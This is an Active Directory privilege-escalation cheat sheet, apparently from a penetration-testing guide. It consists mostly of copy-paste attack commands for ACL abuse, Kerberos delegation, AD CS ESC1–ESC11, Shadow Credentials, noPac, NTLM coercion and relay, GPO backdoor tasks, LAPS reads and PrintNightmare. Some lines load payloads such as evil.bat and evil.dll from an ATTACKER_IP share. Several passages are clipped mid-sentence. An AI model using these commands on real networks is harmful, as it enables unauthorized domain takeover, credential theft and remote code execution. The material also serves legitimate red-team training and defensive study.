Privilege Escalation
You have a foothold. Now escalate from a low-privilege domain user to Domain Admin (or equivalent). ACL abuse, delegation attacks, AD CS, Shadow Credentials, and coercion chains.
Sections Privilege Escalation
ACL Abuse
GenericAll on User
Full control over a user. Reset their password or set an SPN for kerberoasting. [LDAP] [Requires GenericAll on target user]
Force password change.
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set password <TARGET_USER> 'NewPassword123!'
Set SPN for targeted kerberoasting.
# Set SPN
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set object <TARGET_USER> servicePrincipalName -v 'MSSQLSvc/fake.domain.local:1433'
# Roast it
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request-user <TARGET_USER> -outputfile targeted_hash.txt
# Clean up
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set object <TARGET_USER> servicePrincipalName
Set Shadow Credentials on the target. [Requires ADCS + PKINIT]
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action add
GenericAll on Group
Add yourself (or a controlled account) to a privileged group. [LDAP] [Requires GenericAll on target group]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add groupMember '<TARGET_GROUP>' <USER>
GenericAll on Computer
Set RBCD on the computer to impersonate any user to it. [LDAP] [Kerberos] [Requires GenericAll on target computer]
# Create a machine account (if MachineAccountQuota > 0)
root@localhost:~# impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name FAKE01$ -computer-pass 'FakePass123!' -dc-ip <DC_IP>
# Set RBCD
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add rbcd <TARGET_COMPUTER>$ FAKE01$
# Impersonate Administrator
root@localhost:~# impacket-getST <DOMAIN>/FAKE01$:'FakePass123!' -spn cifs/<TARGET_FQDN> -impersonate Administrator -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=Administrator@cifs_<TARGET_FQDN>@<DOMAIN>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/Administrator@<TARGET_FQDN> -k -no-pass
GenericWrite
Write attributes on an object. Common abuses: set SPN, modify logon script, set Shadow Credentials, set RBCD. [LDAP] [Requires GenericWrite on target]
Set Shadow Credentials.
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action add
Set a logon script (executes next time the user logs in).
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set object <TARGET_USER> scriptPath -v '\<ATTACKER_IP>\share\evil.bat'
WriteDACL
Modify the DACL to grant yourself GenericAll. [LDAP] [Requires WriteDACL on target]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add genericAll '<TARGET_DN>' <USER>
Then abuse the newly granted GenericAll (password reset, RBCD, Shadow Creds, etc.).
WriteOwner
Take ownership of an object, then modify its DACL. [LDAP] [Requires WriteOwner on target]
# Take ownership
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set owner '<TARGET_DN>' <USER>
# Grant yourself GenericAll
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add genericAll '<TARGET_DN>' <USER>
ForceChangePassword
Change a user’s password without knowing the current one. [LDAP] [Requires ForceChangePassword on target]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set password <TARGET_USER> 'NewPassword123!'
AddSelf / AddMember
Add yourself to a group. [LDAP] [Requires AddSelf/AddMember on target group]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add groupMember '<TARGET_GROUP>' <USER>
Kerberos Delegation Abuse
Unconstrained Delegation
A computer with unconstrained delegation caches the TGT of any user that authenticates to it. Coerce a DC to authenticate and steal its TGT. [Kerberos] [Requires compromised unconstrained delegation host]
From Windows (Rubeus).
# Monitor for incoming TGTs
PS C:\> .\Rubeus.exe monitor /interval:5 /nowrap
# Coerce DC auth (from another terminal)
# Use PetitPotam, PrinterBug, etc.
# Inject the captured TGT
PS C:\> .\Rubeus.exe ptt /ticket:<BASE64_TICKET>
From Linux (krbrelayx).
# Start listening for TGTs (need the machine account hash)
root@localhost:~# python3 krbrelayx.py -hashes :<MACHINE_HASH>
# Coerce the DC
root@localhost:~# python3 PetitPotam.py -u <USER> -p <PASS> -d <DOMAIN> <COMPROMISED_HOST_IP> <DC_IP>
# Use the captured DC TGT
root@localhost:~# export KRB5CCNAME=<DC_HOSTNAME>.ccache
root@localhost:~# impacket-secretsdump -k -no-pass <DC_FQDN>
Constrained Delegation
The account is allowed to impersonate users to specific services via S4U2Self + S4U2Proxy. [Kerberos] [Requires compromised constrained delegation account]
# Get TGT for the delegating account
root@localhost:~# impacket-getTGT <DOMAIN>/<SERVICE_ACCOUNT>:<PASS> -dc-ip <DC_IP>
# S4U2Self + S4U2Proxy to impersonate Administrator
root@localhost:~# export KRB5CCNAME=<SERVICE_ACCOUNT>.ccache
root@localhost:~# impacket-getST <DOMAIN>/<SERVICE_ACCOUNT>:<PASS> -spn <ALLOWED_SPN> -impersonate Administrator -dc-ip <DC_IP>
# Use the impersonated ticket
root@localhost:~# export KRB5CCNAME=Administrator@<ALLOWED_SPN>@<DOMAIN>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/Administrator@<TARGET_FQDN> -k -no-pass
With hash.
root@localhost:~# impacket-getST <DOMAIN>/<SERVICE_ACCOUNT> -hashes :<HASH> -spn <ALLOWED_SPN> -impersonate Administrator -dc-ip <DC_IP>
HTTP/target to CIFS/target). This is known as SPN modification and works because the service portion of the ticket isn’t always validated.Resource-Based Constrained Delegation (RBCD)
Write msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer, then impersonate any user to it. [LDAP] [Kerberos] [Requires write access on target computer object]
# Create a machine account (if MachineAccountQuota > 0)
root@localhost:~# impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name FAKE01$ -computer-pass 'FakePass123!' -dc-ip <DC_IP>
# Set RBCD on target
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add rbcd <TARGET_COMPUTER>$ FAKE01$
# Get impersonated ticket
root@localhost:~# impacket-getST <DOMAIN>/FAKE01$:'FakePass123!' -spn cifs/<TARGET_FQDN> -impersonate Administrator -dc-ip <DC_IP>
# Use it
root@localhost:~# export KRB5CCNAME=Administrator@cifs_<TARGET_FQDN>@<DOMAIN>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/Administrator@<TARGET_FQDN> -k -no-pass
Clean up RBCD after.
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> remove rbcd <TARGET_COMPUTER>$ FAKE01$
Clean up the machine account.
root@localhost:~# impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name FAKE01$ -computer-pass 'FakePass123!' -dc-ip <DC_IP> -delete
AD CS Abuse
ESC1 (Misconfigured Certificate Template)
Template allows enrollee to supply a Subject Alternative Name (SAN). Request a cert as any user. [AD CS]
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <VULN_TEMPLATE> -upn Administrator@<DOMAIN_FQDN>
Authenticate with the cert.
root@localhost:~# certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
ESC2 (Any Purpose Template)
Template has “Any Purpose” EKU or no EKU at all.
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <VULN_TEMPLATE>
root@localhost:~# certipy auth -pfx <USER>.pfx -dc-ip <DC_IP>
ESC3 (Enrollment Agent Template)
Request an enrollment agent cert, then use it to request on behalf of another user.
# Get enrollment agent cert
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <ENROLLMENT_AGENT_TEMPLATE>
# Request on behalf of Administrator
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx enrollment_agent.pfx
ESC4 (Vulnerable Template ACLs)
You have write access to a certificate template. Modify it to enable ESC1 conditions.
# Save original and modify template
root@localhost:~# certipy template -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -template <TEMPLATE_NAME> -save-old
root@localhost:~# # Exploit as ESC1
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <TEMPLATE_NAME> -upn Administrator@<DOMAIN_FQDN>
# Restore original template config
root@localhost:~# certipy template -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -template <TEMPLATE_NAME> -configuration <TEMPLATE_NAME>.json
ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 on CA)
CA has the flag enabled, so any template can include SANs.
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template User -upn Administrator@<DOMAIN_FQDN>
ESC7 (Vulnerable CA ACLs)
You have ManageCA or ManageCertificates rights on the CA.
# Add yourself as an officer
root@localhost:~# certipy ca -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -add-officer <USER>
# Enable SubCA template
root@localhost:~# certipy ca -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -enable-template SubCA
# Request (will be denied initially)
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template SubCA -upn Administrator@<DOMAIN_FQDN>
# Approve the denied request
root@localhost:~# certipy ca -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -issue-request <REQUEST_ID>
# Retrieve the cert
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -retrieve <REQUEST_ID>
ESC8 (NTLM Relay to AD CS HTTP Enrollment)
Relay captured NTLM auth to the CA’s web enrollment endpoint. [AD CS] [NTLM Relay]
# Set up relay
root@localhost:~# impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce a DC
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>
# Authenticate with the obtained cert
root@localhost:~# certipy auth -pfx dc.pfx -dc-ip <DC_IP>
ESC9 (No Security Extension / CT_FLAG_NO_SECURITY_EXTENSION)
StrongCertificateBindingEnforcement is not set to 2, and the template has CT_FLAG_NO_SECURITY_EXTENSION.
# Change the target's UPN to Administrator
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn Administrator
# Request cert as target (the cert won't contain the new SID)
root@localhost:~# certipy req -u <TARGET_USER>@<DOMAIN_FQDN> -p <TARGET_PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <VULN_TEMPLATE>
# Restore the UPN
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn <TARGET_USER>@<DOMAIN_FQDN>
# Auth as Administrator
root@localhost:~# certipy auth -pfx administrator.pfx -domain <DOMAIN_FQDN> -dc-ip <DC_IP>
ESC10 (Weak Certificate Mapping)
CertificateMappingMethods includes UPN mapping (0x4) and StrongCertificateBindingEnforcement is 0 or 1.
# Change target's UPN to Administrator (need GenericWrite on target)
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn Administrator
# Request cert
root@localhost:~# certipy req -u <TARGET_USER>@<DOMAIN_FQDN> -p <TARGET_PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <TEMPLATE>
# Restore UPN
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn <TARGET_USER>@<DOMAIN_FQDN>
# Auth
root@localhost:~# certipy auth -pfx administrator.pfx -domain <DOMAIN_FQDN> -dc-ip <DC_IP>
ESC11 (NTLM Relay to AD CS via RPC/ICPR)
Same as ESC8 but via the RPC certificate enrollment interface instead of HTTP. [AD CS] [NTLM Relay]
# Relay via RPC
root@localhost:~# certipy relay -ca <CA_IP> -template DomainController
# Coerce
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>
certipy find -vulnerable to identify which ESC scenarios apply. The output tells you exactly which templates and CAs are vulnerable and why.Shadow Credentials
Set msDS-KeyCredentialLink on a target to authenticate as them via PKINIT. [LDAP] [Kerberos] [Requires write access on target's msDS-KeyCredentialLink]
# Add shadow credential
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action add
Note: pywhisker outputs a
.pfxfile and password. Save both.
Authenticate with PKINITtools.
# Get TGT using the cert
root@localhost:~# python3 gettgtpkinit.py <DOMAIN_FQDN>/<TARGET_USER> -cert-pfx <GENERATED>.pfx -pfx-pass <PFX_PASS> <TARGET_USER>.ccache
# Extract NT hash from the TGT
root@localhost:~# export KRB5CCNAME=<TARGET_USER>.ccache
root@localhost:~# python3 getnthash.py <DOMAIN_FQDN>/<TARGET_USER> -key <AS-REP_KEY>
Clean up (remove the shadow credential).
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action remove -D <DEVICE_ID>
List existing shadow credentials on a target.
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action list
certipy find first.sAMAccountName Spoofing (noPac)
Exploit CVE-2021-42278 / CVE-2021-42287 to impersonate a DC. [Kerberos]
Dump hashes.
root@localhost:~# python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> --impersonate Administrator -dump
Get a shell.
root@localhost:~# python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> --impersonate Administrator -shell
MachineAccountQuota >= 1 and the DC is unpatched. It’s a one-shot to DA from any domain user.Coercion + Relay Chains
The general pattern: coerce a machine to authenticate to your listener, then relay that auth to achieve a specific outcome.
Coercion -> RBCD
# Set up relay to create RBCD
root@localhost:~# impacket-ntlmrelayx -t ldap://<DC_IP> --delegate-access --escalate-user FAKE01$ -smb2support
# Coerce target
root@localhost:~# coercer coerce -u <USER> -p <PASS> -d <DOMAIN_FQDN> -l <LISTENER_IP> -t <TARGET>
# Then exploit RBCD (see delegation section above)
root@localhost:~# impacket-getST <DOMAIN>/FAKE01$:'FakePass123!' -spn cifs/<TARGET_FQDN> -impersonate Administrator -dc-ip <DC_IP>
Coercion -> Shadow Credentials
# Relay to set shadow creds
root@localhost:~# impacket-ntlmrelayx -t ldap://<DC_IP> --shadow-credentials --shadow-target <TARGET>$ -smb2support
# Coerce
root@localhost:~# coercer coerce -u <USER> -p <PASS> -d <DOMAIN_FQDN> -l <LISTENER_IP> -t <TARGET>
# Auth with the output cert via PKINITtools
root@localhost:~# python3 gettgtpkinit.py <DOMAIN_FQDN>/<TARGET>$ -cert-pfx <OUTPUT>.pfx -pfx-pass <PFX_PASS> <TARGET>.ccache
Coercion -> ADCS (ESC8)
# Relay to CA
root@localhost:~# impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>
# Auth with cert
root@localhost:~# certipy auth -pfx dc.pfx -dc-ip <DC_IP>
GPO Abuse
If you have write access to a GPO linked to a target OU. [Requires write access on GPO]
Create an immediate scheduled task via GPO (using SharpGPOAbuse from Windows).
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author '<DOMAIN><USER>' --Command "cmd.exe" --Arguments "/c net localgroup administrators <USER> /add" --GPOName "<GPO_NAME>"
gpupdate /force if you have access.LAPS Abuse
If you can read LAPS passwords (identified during authenticated enumeration). [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M laps
Use the retrieved local admin password.
root@localhost:~# nxc smb <TARGET> -u Administrator -p '<LAPS_PASSWORD>' --local-auth
root@localhost:~# evil-winrm -i <TARGET> -u Administrator -p '<LAPS_PASSWORD>'
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Remote code execution via the Print Spooler service. [Requires Spooler running on target]
# Host a malicious DLL on an SMB share
root@localhost:~# impacket-smbserver share . -smb2support
# Trigger PrintNightmare
root@localhost:~# python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASS>@<TARGET> '\<ATTACKER_IP>\share\evil.dll'
rpcclient -U '<DOMAIN>\<USER>%<PASS>' <TARGET> -c 'enumprinters').